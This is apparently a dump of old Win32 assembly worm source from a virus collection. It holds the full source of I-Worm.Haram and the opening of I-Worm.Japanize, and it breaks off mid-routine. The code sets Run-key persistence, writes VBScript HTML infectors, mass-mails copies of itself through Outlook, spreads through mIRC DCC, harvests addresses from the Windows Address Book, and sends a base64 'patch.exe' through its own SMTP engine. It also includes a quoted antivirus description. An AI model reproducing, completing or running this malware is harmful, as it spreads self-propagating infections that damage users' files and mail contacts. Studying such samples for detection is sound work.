db 'Set c=f.OpenTextFile(win&"\Outlook_Addr.txt",2)',CRLF
|
||||
db 'c.WriteLine adr',CRLF
|
||||
db 'c.Close',CRLF
|
||||
e_vbs:
|
||||
|
||||
execcontrol db "wscript "
|
||||
vbsexec db 50 dup (0)
|
||||
db "",0
|
||||
|
||||
end start_worm
|
||||
end
|
||||
@@ -0,0 +1,592 @@
|
||||
comment *
|
||||
Name : I-Worm.Haram
|
||||
Author : PetiK
|
||||
|
||||
Language : win32asm
|
||||
Date : May 13th 2002 - June 1st 2002
|
||||
|
||||
Size : 5192 bytes (compressed with Petite Tool)
|
||||
|
||||
Comments : - Copy to %sysdir%\FunnyGame.exe
|
||||
- Search all doc files in "Personal" folder and create a new virus html file:
|
||||
|
||||
example : document.doc -> document.htm
|
||||
1) 2)
|
||||
|
||||
1) Good DOC file
|
||||
2) Good HTM virus (1571 bytes)
|
||||
|
||||
- Put the name of all active process and add .htm:
|
||||
|
||||
example : process.exe -> process.exe.htm
|
||||
3) 4)
|
||||
|
||||
3) Real name of active process
|
||||
4) Real name of the HTM virus (in "C:\backup" folder for Win ME/2k/XP)
|
||||
|
||||
- Create a random name file in StarUp folder to spread with Outlook
|
||||
|
||||
- On the 10th, payload : open and close CD door and display a messagebox in loop
|
||||
|
||||
*
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
include win32api.inc
|
||||
|
||||
LF equ 10
|
||||
CR equ 13
|
||||
CRLF equ <13,10>
|
||||
|
||||
@pushsz macro msg2psh, empty
|
||||
local next_instr
|
||||
ifnb <empty>
|
||||
%out too much arguments in macro '@pushsz'
|
||||
.err
|
||||
endif
|
||||
call next_instr
|
||||
db msg2psh,0
|
||||
next_instr:
|
||||
endm
|
||||
|
||||
@endsz macro
|
||||
local nxtchr
|
||||
nxtchr: lodsb
|
||||
test al,al
|
||||
jnz nxtchr
|
||||
endm
|
||||
|
||||
api macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes dd 0
|
||||
ftCreationTime dd ?,?
|
||||
ftLastAccessTime dd ?,?
|
||||
ftLastWriteTime dd ?,?
|
||||
nFileSizeHigh dd 0
|
||||
nFileSizeLow dd 0
|
||||
dwReserved0 dd 0,0
|
||||
cFileName db 260 dup(0)
|
||||
cAlternateFileName db 14 dup(0)
|
||||
db 2 dup (0)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
PROCESSENTRY32 STRUCT
|
||||
dwSize DWORD ?
|
||||
cntUsage DWORD ?
|
||||
th32ProcessID DWORD ?
|
||||
th32DefaultHeapID DWORD ?
|
||||
th32ModuleID DWORD ?
|
||||
cntThreads DWORD ?
|
||||
th32ParentProcessID DWORD ?
|
||||
pcPriClassBase DWORD ?
|
||||
dwFlags DWORD ?
|
||||
szExeFile db 260 dup(?)
|
||||
PROCESSENTRY32 ENDS
|
||||
|
||||
start: pushad
|
||||
@SEH_SetupFrame <jmp end_worm>
|
||||
|
||||
hide_the_worm:
|
||||
call hide_worm
|
||||
|
||||
get_name:
|
||||
push 50
|
||||
mov esi,offset orgwrm
|
||||
push esi
|
||||
push 0
|
||||
api GetModuleFileNameA
|
||||
|
||||
get_copy_name:
|
||||
mov edi,offset cpywrm
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
api GetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov eax,'nuF\'
|
||||
stosd
|
||||
mov eax,'aGyn'
|
||||
stosd
|
||||
mov eax,'e.em'
|
||||
stosd
|
||||
mov eax,'ex'
|
||||
stosd
|
||||
pop edi
|
||||
|
||||
copy_worm:
|
||||
push 1
|
||||
push edi
|
||||
push esi
|
||||
api CopyFileA
|
||||
test eax,eax
|
||||
je ok_copy
|
||||
|
||||
push 50
|
||||
push edi
|
||||
push 1
|
||||
@pushsz "Haram"
|
||||
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
push 80000002h
|
||||
api SHSetValueA
|
||||
|
||||
push 50
|
||||
push offset msgwrm
|
||||
push esi
|
||||
api GetFileTitleA
|
||||
push 10h
|
||||
push offset msgwrm
|
||||
@pushsz "ERROR : this file is not a valid Win32 file."
|
||||
push 0
|
||||
api MessageBoxA
|
||||
ok_copy:
|
||||
|
||||
call inf_doc_personal
|
||||
|
||||
get_startup_path:
|
||||
push 0
|
||||
push 7
|
||||
push offset startup
|
||||
push 0
|
||||
api SHGetSpecialFolderPathA
|
||||
push offset startup
|
||||
api SetCurrentDirectoryA
|
||||
|
||||
call cr_vbsname
|
||||
|
||||
mov edi,offset vbsname
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push edi
|
||||
api CreateFileA
|
||||
mov ebp,eax
|
||||
push 0
|
||||
push offset byte_write
|
||||
push e_vbs - s_vbs
|
||||
push offset s_vbs
|
||||
push ebp
|
||||
api WriteFile
|
||||
push ebp
|
||||
api CloseHandle
|
||||
|
||||
|
||||
payload:
|
||||
mov eax,offset sysTime
|
||||
push eax
|
||||
api GetSystemTime
|
||||
lea eax,sysTime
|
||||
cmp word ptr [eax+6],10
|
||||
jne end_payload
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
@pushsz "set CDAudio door open"
|
||||
api mciSendStringA
|
||||
|
||||
push 500
|
||||
api Sleep
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
@pushsz "set CDAudio door closed"
|
||||
api mciSendStringA
|
||||
|
||||
push 40h
|
||||
@pushsz "I-Worm.Haram"
|
||||
@pushsz "Coded by PetiK - ©2002 - France"
|
||||
push 0
|
||||
api MessageBoxA
|
||||
|
||||
api GetTickCount
|
||||
push 10000
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc edx
|
||||
mov ecx,edx
|
||||
push ecx
|
||||
api Sleep
|
||||
jmp payload
|
||||
|
||||
end_payload:
|
||||
|
||||
call inf_process
|
||||
|
||||
end_worm:
|
||||
@SEH_RemoveFrame
|
||||
popad
|
||||
push 0
|
||||
api ExitProcess
|
||||
|
||||
hide_worm Proc
|
||||
pushad
|
||||
@pushsz "KERNEL32.DLL"
|
||||
api GetModuleHandleA
|
||||
xchg eax,ecx
|
||||
jecxz end_hide_worm
|
||||
@pushsz "RegisterServiceProcess" ; Registered as Service Process
|
||||
push ecx
|
||||
api GetProcAddress
|
||||
xchg eax,ecx
|
||||
jecxz end_hide_worm
|
||||
push 1
|
||||
push 0
|
||||
call ecx
|
||||
end_hide_worm:
|
||||
popad
|
||||
ret
|
||||
hide_worm EndP
|
||||
|
||||
Spread_Mirc Proc
|
||||
push offset cpywrm
|
||||
push offset mirc_exe
|
||||
api lstrcpy
|
||||
call @mirc
|
||||
db "C:\mirc\script.ini",0
|
||||
db "C:\mirc32\script.ini",0 ; spread with mIRC. Thanx to Microsoft.
|
||||
db "C:\progra~1\mirc\script.ini",0
|
||||
db "C:\progra~1\mirc32\script.ini",0
|
||||
@mirc:
|
||||
pop esi
|
||||
push 4
|
||||
pop ecx
|
||||
mirc_loop:
|
||||
push ecx
|
||||
push 0
|
||||
push 80h
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push esi
|
||||
api CreateFileA
|
||||
mov ebp,eax
|
||||
push 0
|
||||
push offset byte_write
|
||||
@tmp_mirc:
|
||||
push e_mirc - s_mirc
|
||||
push offset s_mirc
|
||||
push ebp
|
||||
api WriteFile
|
||||
push ebp
|
||||
api CloseHandle
|
||||
@endsz
|
||||
pop ecx
|
||||
loop mirc_loop
|
||||
end_spread_mirc:
|
||||
ret
|
||||
Spread_Mirc EndP
|
||||
|
||||
|
||||
|
||||
inf_doc_personal Proc
|
||||
pushad
|
||||
get_personal_folder:
|
||||
push 0
|
||||
push 5
|
||||
push offset personal
|
||||
push 0
|
||||
api SHGetSpecialFolderPathA
|
||||
push offset personal
|
||||
api SetCurrentDirectoryA
|
||||
fff_doc:
|
||||
push offset ffile
|
||||
@pushsz "*.doc"
|
||||
api FindFirstFileA
|
||||
inc eax
|
||||
je end_f_doc
|
||||
dec eax
|
||||
mov [hfind],eax
|
||||
|
||||
cr_file:
|
||||
push offset ffile.cFileName
|
||||
push offset new_file
|
||||
api lstrcpy
|
||||
mov esi,offset new_file
|
||||
push esi
|
||||
api lstrlen
|
||||
add esi,eax
|
||||
sub esi,4 ; to become \SYSTEM\Wsock32
|
||||
mov [esi],"mth."
|
||||
lodsd
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push offset new_file
|
||||
api CreateFileA
|
||||
mov ebp,eax
|
||||
push 0
|
||||
push offset byte_write
|
||||
push e_htm - s_htm
|
||||
push offset s_htm
|
||||
push ebp
|
||||
api WriteFile
|
||||
push ebp
|
||||
api CloseHandle
|
||||
|
||||
fnf_doc:
|
||||
push offset ffile
|
||||
push [hfind]
|
||||
api FindNextFileA
|
||||
test eax,eax
|
||||
jne cr_file
|
||||
push [hfind]
|
||||
api FindClose
|
||||
end_f_doc:
|
||||
popad
|
||||
ret
|
||||
inf_doc_personal EndP
|
||||
|
||||
|
||||
inf_process Proc
|
||||
popad
|
||||
create_folder:
|
||||
push 0
|
||||
@pushsz "C:\backup"
|
||||
api CreateDirectoryA
|
||||
@pushsz "C:\backup"
|
||||
api SetCurrentDirectoryA
|
||||
enum_process:
|
||||
push 0
|
||||
push 2
|
||||
api CreateToolhelp32Snapshot
|
||||
mov lSnapshot,eax
|
||||
inc eax
|
||||
je end_inf_process
|
||||
lea eax,uProcess
|
||||
mov [eax.dwSize], SIZE PROCESSENTRY32
|
||||
lea eax,uProcess
|
||||
push eax
|
||||
push lSnapshot
|
||||
api Process32First
|
||||
check_process:
|
||||
test eax,eax
|
||||
jz end_process
|
||||
push ecx
|
||||
mov eax,ProcessID
|
||||
push offset uProcess
|
||||
cmp eax,[uProcess.th32ProcessID]
|
||||
je NextProcess
|
||||
lea ebx,[uProcess.szExeFile]
|
||||
|
||||
push ebx
|
||||
push offset new_name
|
||||
api lstrcpy
|
||||
mov edi,offset new_name
|
||||
push edi
|
||||
api lstrlen
|
||||
add edi,eax
|
||||
mov eax,"mth."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
push offset new_name
|
||||
@pushsz "System.htm"
|
||||
api lstrcmp
|
||||
test eax,eax
|
||||
jz NextProcess
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push offset new_name
|
||||
api CreateFileA
|
||||
mov ebp,eax
|
||||
push 0
|
||||
push offset byte_write
|
||||
push e_htm - s_htm
|
||||
push offset s_htm
|
||||
push ebp
|
||||
api WriteFile
|
||||
push ebp
|
||||
api CloseHandle
|
||||
|
||||
NextProcess:
|
||||
push offset uProcess
|
||||
push lSnapshot
|
||||
api Process32Next
|
||||
jmp check_process
|
||||
end_process:
|
||||
push lSnapshot
|
||||
api CloseHandle
|
||||
end_inf_process:
|
||||
pushad
|
||||
ret
|
||||
inf_process EndP
|
||||
|
||||
|
||||
cr_vbsname Proc
|
||||
mov edi,offset vbsname
|
||||
; api GetTickCount
|
||||
push 10
|
||||
pop ecx
|
||||
; xor edx,edx
|
||||
; div ecx
|
||||
; inc edx
|
||||
; mov ecx,edx
|
||||
name_g:
|
||||
push ecx
|
||||
api GetTickCount
|
||||
push '9'-'0'
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
xchg eax,edx
|
||||
add al,'0'
|
||||
stosb
|
||||
api GetTickCount
|
||||
push 100
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
push edx
|
||||
api Sleep
|
||||
pop ecx
|
||||
loop name_g
|
||||
mov eax,"sbv."
|
||||
stosd
|
||||
ret
|
||||
cr_vbsname EndP
|
||||
|
||||
|
||||
|
||||
.data
|
||||
ffile WIN32_FIND_DATA <?>
|
||||
sysTime db 16 dup(0)
|
||||
|
||||
uProcess PROCESSENTRY32 <?>
|
||||
ProcessID dd ?
|
||||
lSnapshot dd ?
|
||||
new_name db 100 dup (?)
|
||||
|
||||
orgwrm db 50 dup (0)
|
||||
cpywrm db 50 dup (0)
|
||||
msgwrm db 50 dup (0)
|
||||
startup db 70 dup (0)
|
||||
personal db 70 dup (0)
|
||||
new_file db 90 dup (0)
|
||||
vbsname db 20 dup (0)
|
||||
byte_write dd ?
|
||||
hfind dd ?
|
||||
|
||||
s_mirc: db "[script]",CRLF
|
||||
db ";Don't edit this file.",CRLF,CRLF
|
||||
db "n0=on 1:JOIN:{",CRLF
|
||||
db "n1= /if ( $nick == $me ) { halt }",CRLF
|
||||
db "n2= /.dcc send $nick "
|
||||
mirc_exe db 50 dup (?)
|
||||
db CRLF,"n3=}",0
|
||||
e_mirc:
|
||||
|
||||
|
||||
s_htm: db '<haram>',CRLF
|
||||
db '<html><head><title>Windows Media Player</title></head><body>',CRLF
|
||||
db '<script language=VBScript>',CRLF
|
||||
db 'On Error Resume Next',CRLF
|
||||
db 'MsgBox "Please accept the ActiveX",vbinformation,"Internet Explorer"',CRLF
|
||||
db 'Set upfkupfk=CreateObject("Scripting.FileSystemObject")',CRLF
|
||||
db 'Set kupfkvqg=CreateObject("WScript.Shell")',CRLF
|
||||
db 'If err.number=429 Then',CRLF
|
||||
db 'kupfkvqg.Run javascript:location.reload()',CRLF
|
||||
db 'Else',CRLF,CRLF
|
||||
db 'glvqglvb(upfkupfk.GetSpecialFolder(0))',CRLF
|
||||
db 'glvqglvb(upfkupfk.GetSpecialFolder(1))',CRLF
|
||||
db 'glvqglvb(kupfkvqg.SpecialFolders("MyDocuments"))',CRLF
|
||||
db 'glvqglvb(kupfkvqg.SpecialFolders("Desktop"))',CRLF
|
||||
db 'glvqglvb(kupfkvqg.SpecialFolders("Favorites"))',CRLF
|
||||
db 'glvqglvb(kupfkvqg.SpecialFolders("Fonts"))',CRLF
|
||||
db 'End If',CRLF,CRLF
|
||||
db 'Function glvqglvb(dir)',CRLF
|
||||
db 'If upfkupfk.FolderExists(dir) Then',CRLF
|
||||
db ' Set bbbbbbbb=upfkupfk.GetFolder(dir)',CRLF
|
||||
db ' Set bbblvqgl=bbbbbbbb.Files',CRLF
|
||||
db ' For each lvqgvqgl in bbblvqgl',CRLF
|
||||
db ' lvqglvqr=lcase(upfkupfk.GetExtensionName(lvqgvqgl.Name))',CRLF
|
||||
db ' If lvqglvqr="htm" or lvqglvqr="html" Then',CRLF
|
||||
db ' Set rhmwrrhm=upfkupfk.OpenTextFile(lvqgvqgl.path,1 ,False)',CRLF
|
||||
db ' if rhmwrrhm.ReadLine <> "<haram>" Then',CRLF
|
||||
db ' rhmwrrhm.Close()',CRLF
|
||||
db ' Set rhmwrrhm=upfkupfk.OpenTextFile(lvqgvqgl.path,1 ,False)',CRLF
|
||||
db ' htmorg=rhmwrrhm.ReadAll()',CRLF
|
||||
db ' rhmwrrhm.Close()',CRLF
|
||||
db ' Set mwrrhmwr=document.body.createTextRange',CRLF
|
||||
db ' Set rhmwrrhm=upfkupfk.CreateTextFile(lvqgvqgl.path, True, False)',CRLF
|
||||
db ' rhmwrrhm.WriteLine "<haram>"',CRLF
|
||||
db ' rhmwrrhm.Write(htmorg)',CRLF
|
||||
db ' rhmwrrhm.WriteLine mwrrhmwr.htmltext',CRLF
|
||||
db ' rhmwrrhm.Close()',CRLF
|
||||
db ' Else',CRLF
|
||||
db ' rhmwrrhm.Close()',CRLF
|
||||
db ' End If',CRLF
|
||||
db ' End If',CRLF
|
||||
db ' Next',CRLF
|
||||
db 'End If',CRLF
|
||||
db 'End Function',CRLF
|
||||
db '</script></body></html>',0
|
||||
e_htm:
|
||||
|
||||
s_vbs: db 'On Error Resume Next',CRLF
|
||||
db 'Set terqne = CreateObject("Scripting.FileSystemObject")',CRLF
|
||||
db 'Set qumhzh = CreateObject("WScript.Shell")',CRLF
|
||||
db 'Set sys = terqne.GetSpecialFolder(1)',CRLF
|
||||
db 'copyname = sys&"\FunnyGame.exe"',CRLF
|
||||
db 'Set htgx = CreateObject("Outlook.Application")',CRLF
|
||||
db 'Set ofcc = htgx.GetNameSpace("MAPI")',CRLF
|
||||
db 'For each c In ofcc.AddressLists',CRLF
|
||||
db 'If c.AddressEntries.Count <> 0 Then',CRLF
|
||||
db 'For d = 1 To c.AddressEntries.Count',CRLF
|
||||
db 'Set etldb = htgx.CreateItem(0)',CRLF
|
||||
db 'etldb.To = c.AddressEntries(d).Address',CRLF
|
||||
db 'etldb.Subject = "New game from the net for you " & c.AddressEntries(d).Name',CRLF
|
||||
db 'etldb.Body = "Play at this funny game. It''s very cool !"',CRLF
|
||||
db 'etldb.Attachments.Add(copyname)',CRLF
|
||||
db 'etldb.DeleteAfterSubmit = True',CRLF
|
||||
db 'If etldb.To <> "" Then',CRLF
|
||||
db 'etldb.Send',CRLF
|
||||
db 'End If',CRLF
|
||||
db 'Next',CRLF
|
||||
db 'End If',CRLF
|
||||
db 'Next',0
|
||||
e_vbs:
|
||||
|
||||
ends
|
||||
end start
|
||||
|
||||
*************************************************************************
|
||||
|
||||
@tasm32 /M /ML haram.asm
|
||||
@tlink32 -Tpe -aa -c -x haram.obj,,,import32,haram.def
|
||||
rem pause
|
||||
rem upx -9 haram.exe
|
||||
@del *.obj
|
||||
rem pause
|
||||
|
||||
*************************************************************************
|
||||
|
||||
IMPORTS
|
||||
|
||||
SHLWAPI.SHSetValueA
|
||||
SHELL32.SHGetSpecialFolderPathA
|
||||
@@ -0,0 +1,857 @@
|
||||
;;; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
;;; I-Worm.Japanize
|
||||
;;; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
;;;
|
||||
;;;
|
||||
;;; This has some bugs.
|
||||
;;;
|
||||
;;; Here TrendMicro description:
|
||||
;;; ******************************************************************
|
||||
;;; http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=WORM_FBOUND.B&VSect=T
|
||||
;;; Details:
|
||||
;;;The details of the email this worm arrives with may be as follows:
|
||||
;;;
|
||||
;;;To: <recipient>
|
||||
;;;Subject: <"Important" or random Japanese text(applicable on Japanese supported platforms)>
|
||||
;;;Message Body: <blank>
|
||||
;;;Attachment: patch.exe
|
||||
;;;
|
||||
;;;It uses its own SMTP engine and uses the following registry key to retrieve the default SMTP server of the infected system:
|
||||
;;;HKEY_CURRENT_USER\Software\Microsoft\
|
||||
;;;Internet Account Manager\Accounts\00000001
|
||||
;;;
|
||||
;;;It uses the following registry key to retrieve email addresses from the infected user's Windows Address Book (WAB):
|
||||
;;;HKEY_CURRENT_USER\Software\Microsoft\WAB\
|
||||
;;;WAB4Wab File Name = “<pathname of WAB file>”
|
||||
;;;
|
||||
;;;The email arrives with the attachment PATCH.EXE. If the email address of its target ;;;user ends with the extension .jp, the worm randomly selects a phrase, from a list of 17 possible Japanese phrases below, and uses one as the subject of the email:
|
||||
;;;
|
||||
;;;
|
||||
;;;The English translation for the above Japanese text are as follows:
|
||||
;;;Re: the issue that you mentioned
|
||||
;;;Re: important
|
||||
;;;Re: long time no see
|
||||
;;;Re: top secret
|
||||
;;;Re: Hello
|
||||
;;;Re: important information
|
||||
;;;Re: data
|
||||
;;;the issue that you mentioned
|
||||
;;;important
|
||||
;;;long time no see
|
||||
;;;top secret
|
||||
;;;hello
|
||||
;;;important information
|
||||
;;;data
|
||||
;;;frog
|
||||
;;;shit
|
||||
;;;shit
|
||||
;;;
|
||||
;;;Otherwise, it uses the subject “Important."
|
||||
;;;
|
||||
;;;This non-destructive worm does not drop files or create any registry entries. Its propagation depends on the execution of the file attachment in the email.
|
||||
;;;
|
||||
;;;The following text strings are found in the worm body:
|
||||
;;;
|
||||
;;;‘XXXXXXXXXXXXXXXXXXXXXXX’
|
||||
;;;‘XXXXX I-Worm.Japanize XXXXX’
|
||||
;;;‘XXXXXXXXXXXXXXXXXXXXXXX’
|
||||
;;;
|
||||
;;;
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
locals
|
||||
jumps
|
||||
|
||||
|
||||
;;; some lazy shit
|
||||
callW macro @@@x
|
||||
extrn @@@x:proc
|
||||
call @@@x
|
||||
endm
|
||||
|
||||
ofs equ offset
|
||||
|
||||
dwo equ dword ptr
|
||||
wo equ word ptr
|
||||
by equ byte ptr
|
||||
|
||||
HKEY_CURRENT_USER EQU 80000001h
|
||||
CRLF equ <13,10>
|
||||
rdtsc equ <dw 310fh>
|
||||
AF_INET equ 2
|
||||
SOCK_STREAM equ 1
|
||||
|
||||
FILE_ATTRIBUTE_NORMAL EQU 00000080h
|
||||
GENERIC_READ EQU 80000000h
|
||||
GENERIC_WRITE EQU 40000000h
|
||||
PAGE_READONLY EQU 00000002h
|
||||
PAGE_READWRITE EQU 00000004h
|
||||
FILE_MAP_READ EQU 00000004h
|
||||
OPEN_EXISTING EQU 00000003h
|
||||
GHND EQU 042h
|
||||
FILE_SHARE_READ EQU 00000001h
|
||||
FILE_SHARE_WRITE EQU 00000002h
|
||||
|
||||
|
||||
;;; ----------------------------------------------------------------
|
||||
.data
|
||||
hReg dd ?; registry handle
|
||||
str_SMInternetAccountManager db 'Software\Microsoft\Internet Account Manager',0
|
||||
str_SMIAccounts db 'Software\Microsoft\Internet Account Manager\Accounts\'
|
||||
AccountIdx db 9 dup(?); account index
|
||||
bufsiz_accountidx dd 9; size
|
||||
|
||||
str_DMA db 'Default Mail Account',0
|
||||
str_SMTPNAME db 'SMTP Server',0
|
||||
str_SMTPEmailAddr db 'SMTP Email Address',0
|
||||
str_SMWab4 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0
|
||||
|
||||
|
||||
SMTP_Server db 50 dup(?) ; default smtp server
|
||||
bufsiz_SMTPSERVER dd 50
|
||||
morons_Mailaddr db 256 dup(?) ; mail address of moron :)
|
||||
bufsiz_morons_mailaddr dd 256
|
||||
wab4_path db 260 dup(?); wab file path
|
||||
bufsiz_wab4_path dd 260
|
||||
|
||||
buffer db 1000 dup(?)
|
||||
|
||||
hwab4file dd ? ; wab4 file handle
|
||||
hwab4map dd ? ;
|
||||
hwab4mapview dd ? ;
|
||||
|
||||
myfilename db 260 dup(?) ; handle of myself
|
||||
hmyfile dd ?
|
||||
fsize dd ? ; file size
|
||||
|
||||
hmemout0 dd ?
|
||||
ptr_myself dd ?
|
||||
hmemout dd ? ; globalalloc
|
||||
ptr_base64buf dd ? ; globallock
|
||||
|
||||
target_mailaddr db 48h dup(?) ;
|
||||
|
||||
sockaddr_in label byte ;
|
||||
sin_family dw ?
|
||||
sin_port dw ?
|
||||
sin_addr dd ?
|
||||
sin_zero db 8 dup(?)
|
||||
len_sockaddr_in = $ - ofs sockaddr_in
|
||||
|
||||
sock dd ? ; socket descriptor
|
||||
|
||||
recv_buffer db 1024 dup(?) ; recv buffer
|
||||
|
||||
jflag dd 0 ; japanese or not
|
||||
|
||||
smtp_HELO db 'HELO localhost',CRLF
|
||||
len_smtp_HELO = $ - ofs smtp_HELO
|
||||
smtp_MAIL_FROM db 'MAIL FROM: '
|
||||
len_smtp_MAIL_FROM = $ - ofs smtp_MAIL_FROM
|
||||
;crlf
|
||||
smtp_RCPT_TO db 'RCPT TO: '
|
||||
len_smtp_RCPT_TO = $ - ofs smtp_RCPT_TO
|
||||
;crlf
|
||||
smtp_DATA db 'DATA',CRLF
|
||||
len_smtp_DATA = $ - ofs smtp_DATA
|
||||
smtp_BODY_FROM db 'FROM: '
|
||||
len_smtp_BODY_FROM = $ - ofs smtp_BODY_FROM
|
||||
smtp_BODY_TO db CRLF,'TO: '
|
||||
len_smtp_BODY_TO = $ - ofs smtp_BODY_TO
|
||||
smtp_BODY_SUBJECT db CRLF,'SUBJECT: Important',CRLF
|
||||
len_smtp_BODY_SUBJECT = $ - ofs smtp_BODY_SUBJECT
|
||||
|
||||
smtp_DOT_CRLF db '.',CRLF
|
||||
len_smtp_DOT_CRLF = $ - ofs smtp_DOT_CRLF
|
||||
smtp_QUIT db 'QUIT',CRLF
|
||||
len_smtp_QUIT = $ - ofs smtp_QUIT
|
||||
|
||||
smtp_crlf db CRLF
|
||||
|
||||
smtp_MIME_h db 'MIME-Version: 1.0',CRLF
|
||||
db 'Content-Type: multipart/mixed; boundary="Boundary-a8dfidaoRadvfuck"',CRLF
|
||||
db CRLF
|
||||
db '--Boundary-a8dfidaoRadvfuck',CRLF
|
||||
db 'Content-Type: text/plain; charset=iso-2022-jp',CRLF
|
||||
db 'Content-Transfer-Encoding: 7bit',CRLF
|
||||
db 'Content-Description: Mail message body',CRLF
|
||||
db CRLF
|
||||
db CRLF ; text
|
||||
db CRLF
|
||||
db '--Boundary-a8dfidaoRadvfuck',CRLF
|
||||
db 'Content-Type: application/x-msdownload; name="patch.exe"',CRLF
|
||||
db 'Content-Disposition: attachment; filename="patch.exe"',CRLF
|
||||
db 'Content-Transfer-Encoding: BASE64',CRLF
|
||||
db CRLF
|
||||
len_smtp_MIME_h = $ - ofs smtp_MIME_h
|
||||
;; base64 body
|
||||
smtp_MIME_e db CRLF,'--Boundary-a8dfidaoRadvfuck--',CRLF,CRLF
|
||||
len_smtp_MIME_e = $ - ofs smtp_MIME_e
|
||||
|
||||
r_seed dd 10987293h ; random seed
|
||||
|
||||
|
||||
smtp_jsubject_1 db CRLF,'SUBJECT: =?ISO-2022-JP?B?'
|
||||
len_smtp_jsubject_1 = $ - ofs smtp_jsubject_1
|
||||
smtp_jsubject_2 db '?=',CRLF
|
||||
len_smtp_jsubject_2 = $ - ofs smtp_jsubject_2
|
||||
|
||||
|
||||
;;; japanese subjects table
|
||||
japanese_subjects label byte
|
||||
dd ofs js_01
|
||||
dd ofs js_02
|
||||
dd ofs js_03
|
||||
dd ofs js_04
|
||||
dd ofs js_05
|
||||
dd ofs js_06
|
||||
dd ofs js_07
|
||||
dd ofs js_08
|
||||
dd ofs js_09
|
||||
dd ofs js_10
|
||||
dd ofs js_11
|
||||
dd ofs js_12
|
||||
dd ofs js_13
|
||||
dd ofs js_14
|
||||
dd ofs js_15
|
||||
dd ofs js_16
|
||||
dd ofs js_17
|
||||
num_of_jsub = ($ - ofs japanese_subjects)/4
|
||||
js_01 db 'GyRCPUVNVxsoQg==',0 ; 重要
|
||||
js_02 db 'UmU6GyRCPUVNVxsoQg==',0; Re:重要
|
||||
js_03 db 'GyRCPUVNVyRKJCpDTiRpJDsbKEI=',0; 重要なお知らせ
|
||||
js_04 db 'UmU6GyRCPUVNVyRKJCpDTiRpJDsbKEI=',0; Re:重要なおしらせ
|
||||
js_05 db 'GyRCTmMkTjdvGyhC',0 ; 例の件
|
||||
js_06 db 'UmU6GyRCTmMkTjdvGyhC',0; Re:例の件
|
||||
js_07 db 'GyRCJCo1VyQ3JFYkaiRHJDkbKEI=',0; お久しぶりです
|
||||
js_08 db 'UmU6GyRCJCo1VyQ3JFYkaiRHJDkbKEI=',0; Re:お久しぶりです
|
||||
js_09 db 'GyRCJDMkcyRLJEEkTxsoQg==',0; こんにちは
|
||||
js_10 db 'UmU6GyRCJDMkcyRLJEEkTxsoQg==',0; Re:こんにちは
|
||||
js_11 db 'GyRCNktIaxsoQg==',0 ; 極秘
|
||||
js_12 db 'UmU6GyRCNktIaxsoQg==',0; Re:極秘
|
||||
js_13 db 'GyRCO3FOQRsoQg==',0 ; 資料
|
||||
js_14 db 'UmU6GyRCO3FOQRsoQg==',0; Re:資料
|
||||
js_15 db 'GyRCMz8bKEI=',0 ; ｳｿｺ
|
||||
js_16 db 'GyRCJSYlYxsoQlI=',0 ; ウソコ
|
||||
js_17 db 'GyRCJCYkcyQzGyhC',0 ; うんこ
|
||||
|
||||
.code
|
||||
start:
|
||||
callW GetTickCount
|
||||
mov dwo [r_seed],eax
|
||||
jmp @@go
|
||||
;; signature :)
|
||||
db 'XXXXXXXXXXXXXXXXXXXXXXXXXXX',0
|
||||
db 'XXXXX I-Worm.Japanize XXXXX',0
|
||||
db 'XXXXXXXXXXXXXXXXXXXXXXXXXXX',0
|
||||
@@go:
|
||||
call get_some_info
|
||||
|
||||
push ofs buffer
|
||||
push 0101h
|
||||
callW WSAStartup
|
||||
test eax,eax
|
||||
jnz exit
|
||||
|
||||
call open_wab
|
||||
test eax,eax
|
||||
jnz clean_sock
|
||||
|
||||
call create_base64enc
|
||||
|
||||
call spread
|
||||
|
||||
free_mem:
|
||||
push dwo [ptr_base64buf]
|
||||
callW GlobalUnlock
|
||||
push dwo [hmemout]
|
||||
callW GlobalFree
|
||||
|
||||
close_wab4:
|
||||
push dwo [hwab4file]
|
||||
push dwo [hwab4map]
|
||||
push dwo [hwab4mapview]
|
||||
callW CloseHandle
|
||||
callW CloseHandle
|
||||
callW CloseHandle
|
||||
|
||||
clean_sock:
|
||||
callW WSACleanup
|
||||
|
||||
exit:
|
||||
push 0
|
||||
callW ExitProcess
|
||||
|
||||
|
||||
|
||||
spread:
|
||||
;; lifewire ;)
|
||||
mov esi,dwo [hwab4mapview]
|
||||
mov ecx,[esi+64h] ; num of addr
|
||||
jecxz @@exit
|
||||
add esi,[esi+60h] ; ptr to addr
|
||||
|
||||
@@spread_loop:
|
||||
push ecx
|
||||
|
||||
mov eax,esi
|
||||
cmp by [esi+1],0
|
||||
jne @@nounicode
|
||||
push esi
|
||||
lea edi,target_mailaddr
|
||||
push edi
|
||||
|
||||
push 48h
|
||||
